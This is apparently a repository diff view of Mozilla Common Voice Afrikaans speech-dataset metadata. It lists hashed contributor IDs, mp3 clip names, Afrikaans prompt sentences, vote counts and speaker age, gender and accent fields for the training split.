5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328242.mp3 2baafd0b6aebe461691fbb349d59d4d4a9f3b68d089dc45e0c0f3e9ed0b1d7b9 Hierdie oorlegplegings sal uitloop op die sameroeping van die beplande Nasionale Grondberaad. 2 1 twenties male_masculine af
|
| 117 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328243.mp3 23976bc8ba97784cb5b81cec655b62fa941d29fada3d017c4a02df8a2c924f8a Môre is Saterdag 2 0 twenties male_masculine af
|
| 118 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328246.mp3 29448fbe4730b753176022081e67f5870cd2c8ae512449e1ec61bc2ab49232ed Hulpbronne kom ook van staatsubsidies, skenkings of kontrakte en uit selfgegenereerde inkomste. 2 0 twenties male_masculine af
|
| 119 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328250.mp3 2c3bea5601ef1887e8b451fcf3b4ef77ec1d2b84de053c8572a0ebd4e5db0891 Studente sukkel om krities te lees. 2 0 twenties male_masculine af
|
| 120 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328266.mp3 1c10662ce8f0c7f41c46691c9bff83a3cad0857fc63fd1fea97a30e165e7dfcb Die volgende drie stappe kan help om jou bronintegrasievaardighede te verfyn: 2 0 twenties male_masculine af
|
| 121 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328277.mp3 277bb6e126d774a3297a17118c6aa93a3ed5d7a23151972562ffc513b2806614 Moet asseblief nie begin eet voordat almal gereed is nie. 2 0 twenties male_masculine af
|
| 122 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328278.mp3 1a12a1f1dea0351b117451fa96196e06edf3ada6c9805ee81694747ce8bbd9cb Geen vrystellings of afwykings is gedurende die oorsigjaar van die Nasionale Tesourie ontvang nie. 2 0 twenties male_masculine af
|
| 123 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328280.mp3 039b7309b963a6d89a175e894ea270bb066e24b0630118a07e27c1d1d3b8102c Klimaatsverandering word nou beskou as die enkele grootste bedreiging vir die globale ekonomie. 2 0 twenties male_masculine af
|
| 124 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328281.mp3 1d675cd5651544cf7ef709fe7b0256b7318845e0f7118eb40b17dc631e9fdde6 Ons het diere gemaak van die homp klei. 2 0 twenties male_masculine af
|
| 125 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328282.mp3 23b4bc5ef34644e0e4ce849e250f841ddc6a9ee0b0e71dc8b9a28d15253c8e1b Hierdie drie studiefokusse is onlosmaaklik verbonde en moet nie in isolasie benader word nie. 2 0 twenties male_masculine af
|
| 126 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328283.mp3 18cdec5e404dc525be9a42b6bc34a7eb2fdf571b085c0930f80bb1f09340eead Verduidelik kortliks aan hierdie boere die verskille tussen plantsuksessie en plantretrogressie. 2 0 twenties male_masculine af
|
| 127 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328296.mp3 175126e5b5990daaf771e54b8776c40ca66f696abe8113230aed46fa9f40dd87 Hoe lank is sy? 2 0 twenties male_masculine af
|
| 128 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328305.mp3 260a67c10d0a69f92cb52b04ed6e843e9265183133484d447f09775c3c086201 Besonderhede van die begafnis sal deur die Oos-Kaapse provinsiale regering bekend gemaak word. 2 0 twenties male_masculine af
|
| 129 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328306.mp3 1fe48bbb95aae07c585e5241a89e3c4a18007d57e7d8029c4272631482f36162 Skuldenaars met foutiewe langtermynrekeninge is geïdentifiseer en die nodige krediet is gegee. 2 0 twenties male_masculine af
|
| 130 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328307.mp3 1fd7a2524179f5a7f8b1609b7371339dac4f2a013e10fa79eddcfce67b08067f Twintig afgevaardigdes is in besigheidsvaardighede en die uitvoer van mentorskapstake opgelei. 2 0 twenties male_masculine af
|
| 131 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328308.mp3 2a5e1b836c040a548cca16901f085b1552875adb6810463d15786f580940f64d Ons voorgeslagte het toe baie meer oplettend hulle kinders moes oppas as nou. 2 0 twenties male_masculine af
|
| 132 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328309.mp3 2e99be7f53f34d8d1f68b835fb56d0ec02aee54dc9a532178b6e679846c4f353 Die hond het haar hand gelek. 2 0 twenties male_masculine af
|
transcript/af/train.tsv
ADDED
|
@@ -0,0 +1,140 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
client_id path sentence_id sentence sentence_domain up_votes down_votes age gender accents variant locale segment
|
| 2 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809232.mp3 27ac84c0fe062a009b72f78eac6b0760e6f80c2abf25215e6cc3048e3e09c653 Wanneer is jou vrou se verjaarsdag? 4 0 Capetonian af
|
| 3 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809233.mp3 11c53309dce87242f40ec93c318999fd94830b310d7886a2c9251fe954b19d82 Beplanning is 'n dinamiese proses wat voorsiening maak vir aanpassing as gevolg van toestande. 4 0 Capetonian af
|
| 4 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809234.mp3 00a3fbc95c3c5ac7ba93e4f3e5112696a8ef1aaf77e5aa9508e6face903697f9 Maak die leerders deurgaans van die gebruik van hoofletters, spasiëring en leestekens bewus. 4 0 Capetonian af
|
| 5 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809235.mp3 1bcc4bee976feea2a30623bc25bcda24605db24fa5a37ff8c20943b5f071e667 Beskryf die tipe gesteente en onderliggende struktuur wat met dreineerpatroon C geassosieer word. 4 0 Capetonian af
|
| 6 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809236.mp3 13993bbab2664c548ca0de0a9d498d316be96377e9a3a777b8865d91d506e94f My bejaarde buurvrou is 'n weduwee. 4 0 Capetonian af
|
| 7 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809371.mp3 0f02fa856e9f287b87cd128d38376fb3ca85127eb5d2079fad8eb07680daf960 Getal subsidies wat na naskoolse sorgfasiliteite oorgedra is om dienste aan kinders te verskaf. 4 0 twenties female_feminine Capetonian af
|
| 8 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809372.mp3 0586587d5a7f9277def8e526245d3b9aa5046df68eb1ffd6200051a4d392946f Ek kan beter asemhaal as die lug skoon is. 4 0 twenties female_feminine Capetonian af
|
| 9 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809373.mp3 12442b428bbfd54290cfca91827bc1b3bc92ba2b9e9ad388e7e7ad9d55d27b43 Ek eet dikwels smiddae vis 4 0 twenties female_feminine Capetonian af
|
| 10 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809374.mp3 2922170a54371f6cd580c581fd6f1cf422c6f3ded6c2639a2c12c44e83ad9096 In Eendekuil het een deelnemer vir meer motorfietse vir patrollies in landelike gebiede gevra. 4 0 twenties female_feminine Capetonian af
|
| 11 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809375.mp3 260cd83fbb4a25a080b9086fd66188b25191da4573d4d1b4d6413ae83554199f Energiebesparende busse word tans gebruik om mense na en van die besienswaardigheid te vervoer. 4 0 twenties female_feminine Capetonian af
|
| 12 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809391.mp3 046cda0f3f07df536e2f7ea628d2410c42b07676ec3eee547f5b65409f4e6b3a Vergroot hierdie foto en sit dit op die muur. 4 0 twenties female_feminine Capetonian af
|
| 13 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809393.mp3 221908fa245419c0ca1e68b2906545f1eea63f1d4845d2a03f95ef5384a27999 Dit stel leerders in staat om sirkels en vierkante in verskillende posisies te identifiseer. 4 0 twenties female_feminine Capetonian af
|
| 14 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809396.mp3 28f70c94537336bd27d7c0640d82c5ccef4275e27271922c60b6de081135d095 Hy hou baie daarvan om sport te beoefen 4 0 twenties female_feminine Capetonian af
|
| 15 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809398.mp3 0f0265d1727c8ad788eef5c338219de3d34bdc7f2ad616dc7ae925df8dad1488 Hy geniet alkoholiese drankies, soos bier en wyn. 4 0 twenties female_feminine Capetonian af
|
| 16 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809400.mp3 02e668e2ad7abc481cf018fed4cf1328c9d434255ef7ad2bb70132a6f86a5b03 Verbeterde funksionering van munisipale infrastruktuur en toegang tot basiese dienste aan inwoners. 4 0 twenties female_feminine Capetonian af
|
| 17 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809464.mp3 04757ea4b88ea66464a4b07aa35554c167b7ad92cb453a262ff93edcd59bbe37 Dit is my broer 4 0 twenties female_feminine Capetonian af
|
| 18 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809465.mp3 29c371f8f4936b82dd0e05433266e8a9b354e3fc2362e721d11982c103945bad Tweedens gee die gewigsaanduiding riglyne om die inhoud van assessering eweredig te versprei. 4 0 twenties female_feminine Capetonian af
|
| 19 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809466.mp3 20825cdd133d854ab5d1d51146071a5842972556d81bcfc0f84b37d622a539d3 Dis algaar dinge voor ons tyd, waarmee ons nou niks te doen het nie. 4 0 twenties female_feminine Capetonian af
|
| 20 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809467.mp3 17b9786a2950c272c40e96780979fde053dbf67f60c2534361675c1a926e2db1 Sodra hierdie hoërisikogesinne gestabiliseer is, sal die fokus na mediumrisikogevalle verskuif. 4 0 twenties female_feminine Capetonian af
|
| 21 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809468.mp3 00f3d18d9104c071bce1d7f0b2f75bc1ccee24d1d1630aafa921871ced490983 Soos wat die wêreldbevolking gegroei het, het die aanvraag na stikstofryke kunsmis toegeneem. 4 0 twenties female_feminine Capetonian af
|
| 22 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809479.mp3 2341b6adaa1d191c80280edec1bef29cf617746a274189ff40894635dbd7b051 Hier las sy vrou ’n woordjie in en sê: “Julle moet verstaan". 4 0 twenties female_feminine Capetonian af
|
| 23 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809480.mp3 21a063d3a4790ed74f82c710ef829f3e3476bb5ed30f0e94a5a086c9abe89c1c Leer my asseblief hoe om naaldwerk te doen sodat ek klere kan maak. 4 0 twenties female_feminine Capetonian af
|
| 24 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809482.mp3 21886a34c7901475329495330d215ef8a4e99ec1e6e55424ec55096de7ff7811 Nogtans behou dit duidelik die stabiliteit, stemmigheid en dringendheid wat 'n Landswapen vereis. 4 0 twenties female_feminine Capetonian af
|
| 25 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809484.mp3 27b5675ff7a3625b93c3f0fc79a37d6bfa55599b457792e749fb76d6bf254966 Daar word vertrou dat alle belanghebbendes die inhoud as vernuwend en interessant sal ervaar. 4 0 twenties female_feminine Capetonian af
|
| 26 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809485.mp3 189e8afce4899b0f54d2a01a5ae9a8b77456ceb0238d3fe70d6f95171f9ef907 Iemand die ore van die kop praat 4 0 twenties female_feminine Capetonian af
|
| 27 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809499.mp3 1ec647f4c6bec8058809921d4bfea2ceb8d9250b425275bfd55f25d292f3dc86 Wat het jy gisteraand vir aandete geëet? 4 0 twenties female_feminine Capetonian af
|
| 28 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809500.mp3 06eac04d9f0e1ba2c568e09007c26209a53edea42d782cd011677b0dc519420e Gevolglik ontstaan genotipiese en fenotipiese verskille met verloop van tyd tussen die bevolkings. 4 2 twenties female_feminine Capetonian af
|
| 29 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809501.mp3 078786998e1351051bf23b16e96e44975e785c8416c5f5480f583f69598439d6 Ons sal die bul kastreer as hy 'n jaar oud is. 4 0 twenties female_feminine Capetonian af
|
| 30 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39809502.mp3 2b8130451457f534d882b44197dc53fc5884cd08e30fedbfdb64298d7fc7adad Skoonmaak- en sekuriteitsdienste is uitgekontrakteer om verbeterde dienslewering te verseker. 4 0 twenties female_feminine Capetonian af
|
| 31 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812005.mp3 0fec68618984e15aec1d536be77fad048cfd22eb0ef910c2bb6014d9479dbdc7 Iemand in die rug steek 4 0 twenties female_feminine Capetonian af
|
| 32 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812006.mp3 28221f48b6f90f603a7e45b61a21a2ef1cddaa1fa48e1982cf091f3d993d4375 Kom ons kyk na die beginsels van verwysings. 4 0 twenties female_feminine Capetonian af
|
| 33 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812007.mp3 10dbeec33661dd0f84206d353d54fe9ecc4c09949638b61eb8723b384655d2dc Armoede is die duidelikste sigbaar in landelike gebiede weens die gebrek aan werksgeleenthede. 4 0 twenties female_feminine Capetonian af
|
| 34 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812008.mp3 0888a76a7a9447f43b5e32d7fc3b004c36df6f987f5558de57646a7db9b3b049 Ons moet nou aandete voorberei sodat dit betyds gereed is. 4 0 twenties female_feminine Capetonian af
|
| 35 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812009.mp3 0d317f6ac720fc059e0527dc64af9c4ea9b48babe27a701b4ced86d1e058a8b7 Die leerder verduidelik vaagweg hoe improvisering kan help in die voorbereiding van choreografie. 4 0 twenties female_feminine Capetonian af
|
| 36 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812015.mp3 047cd4ade872005c75b7c659aa6a36d11ada83879de551398a29332305fa80d1 Benoemings moet ingedien word deur die Amptelike Benoemingsvorm by hierdie Kennisgewing te gebruik. 4 0 twenties female_feminine Capetonian af
|
| 37 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812016.mp3 0bf2f591a16dca8f62e4d29d27434801d38e185e8dacd3042ce8aebcab1d2c0c Hulle staan soggens vroeg op 4 0 twenties female_feminine Capetonian af
|
| 38 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812017.mp3 23aa6181bb50c3e863e26013444cfa326f18f8b3feb0aa99b4179a8be8166dcf Dit is 'n stil nag. 4 0 twenties female_feminine Capetonian af
|
| 39 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812018.mp3 0ff1b2d9de85bd10911f8ea5f9e56d2725b160d3ad110dcf348948d12ca1606c Gebruik die gegewe inligting om 'n frekwensietabel van die verskillende dromme afval te teken. 4 0 twenties female_feminine Capetonian af
|
| 40 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812019.mp3 21c4e4c17be9187f84f2b4049503bd98936b060064811a6e66e471e8725a018e Haar wange is bloesend. 4 0 twenties female_feminine Capetonian af
|
| 41 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812025.mp3 2d456af65cf188b838640422bf778630ee8f5054338bc5c752b5fe552a656e60 Die kamer is leeg - daar is niemand daar nie. 4 0 twenties female_feminine Capetonian af
|
| 42 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812026.mp3 0ba794c0a8a8a7bca36a4561cb8eb74c7a33da893ec91f7aa513e104d4dabc7f Dit ondersteun ook ekonomiese groei om die skep van broodnodige werksgeleenthede te bevorder. 4 0 twenties female_feminine Capetonian af
|
| 43 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812027.mp3 0f1703471896260ec0e1d98d6678b836e44e2c726aca293d17c62f78d146be7c Ons het die groot skoffel gebruik om die hardnekkige onkruid uit te grawe. 4 0 twenties female_feminine Capetonian af
|
| 44 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812028.mp3 233b5253da32168cefd478500abc279cae46917b224d35d44386a2a5e8eb982a Vir vertaal- en tolkdoeleindes ontstaan daar nuwe velde waarvoor voorskrifte tans nie bestaan nie. 4 2 twenties female_feminine Capetonian af
|
| 45 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812029.mp3 2d6ae332da37cd35242d763aad6a11424c935e98c339b323d3959d50ce62d454 Dit kan onder meer ook deur die gebruik van ongesteriliseerde tatoeëernaalde oorgedra word. 4 0 twenties female_feminine Capetonian af
|
| 46 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812035.mp3 287d6c68e386d77b363caad08323fa1461d3fb28f0457d36bdb7ed12167b3bfb Gooi asseblief al die rommel in die vullisblik. 4 0 twenties female_feminine Capetonian af
|
| 47 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812036.mp3 236c024ae23789bd5bea919af6e19901cfbc309deb4e7d28954a4e29e0300815 Die besoeke sal hoofsaaklik fokus op die versterking van bilaterale verhoudinge met albei lande. 4 0 twenties female_feminine Capetonian af
|
| 48 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812037.mp3 15ff9efe4b912cd48a81f59a9f7d060b1a565220f537e1c185a2c0f2e1cab8c9 Hy sê vervalste goedere verlam die plaaslike vervaardigers in die klere- en die tekstielsektor. 4 0 twenties female_feminine Capetonian af
|
| 49 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812038.mp3 0249f321b898b6cfced0a631893a730f4bc135046106112760e893e4bd71b42e Die laaste aspek wat jy moet oorweeg, is betrokkenheid. 4 0 twenties female_feminine Capetonian af
|
| 50 |
+
a84798e98048550282dd3c5f38bd9364fdbc705ab344a1b5b52c46fb69cda9bd5df9e98ff061cfd8d93e192bbd27198cc14e707fa05daef487e6384b98a5fe01 common_voice_af_39812039.mp3 13a4acd4193fa1b70c9260b0933042f8fdf32886e8dace73edc36a6c07e497e0 Ek het laasweek met ’n nuwe werk begin 4 0 twenties female_feminine Capetonian af
|
| 51 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40401257.mp3 2db2662051a54e41465aad86be03e0e5d621ce573179043db42397c750182fe3 Die Colosseum is een van die indrukwekkendste oorblywende voorbeelde van Romeinse argitektuur. 4 0 fifties male_masculine standaard af
|
| 52 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40401258.mp3 1b482b1565f08f533b7632f0dc9d7b310c7980face15fc88038068c7c286a4dd Noem die funksionele gaping wat tussen twee neurone gevind word waaroor impulse oorgedra word. 2 0 fifties male_masculine standaard af
|
| 53 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40401261.mp3 2a5fe3d3c2a8ed6588db62f75d9b463e1fda7e5104171929c2a535c91ff7f256 Geografiese name is geverifieer en hersien deur die Wes-Kaapse Provinsiale Geografiese Namekomitee. 2 0 fifties male_masculine standaard af
|
| 54 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405099.mp3 157a7cbdab38f7fd9be904a6256953394f6b4992d2d29021a91e1ad496a0d98d Die kind met die badwater uitgooi 2 0 fifties male_masculine standaard af
|
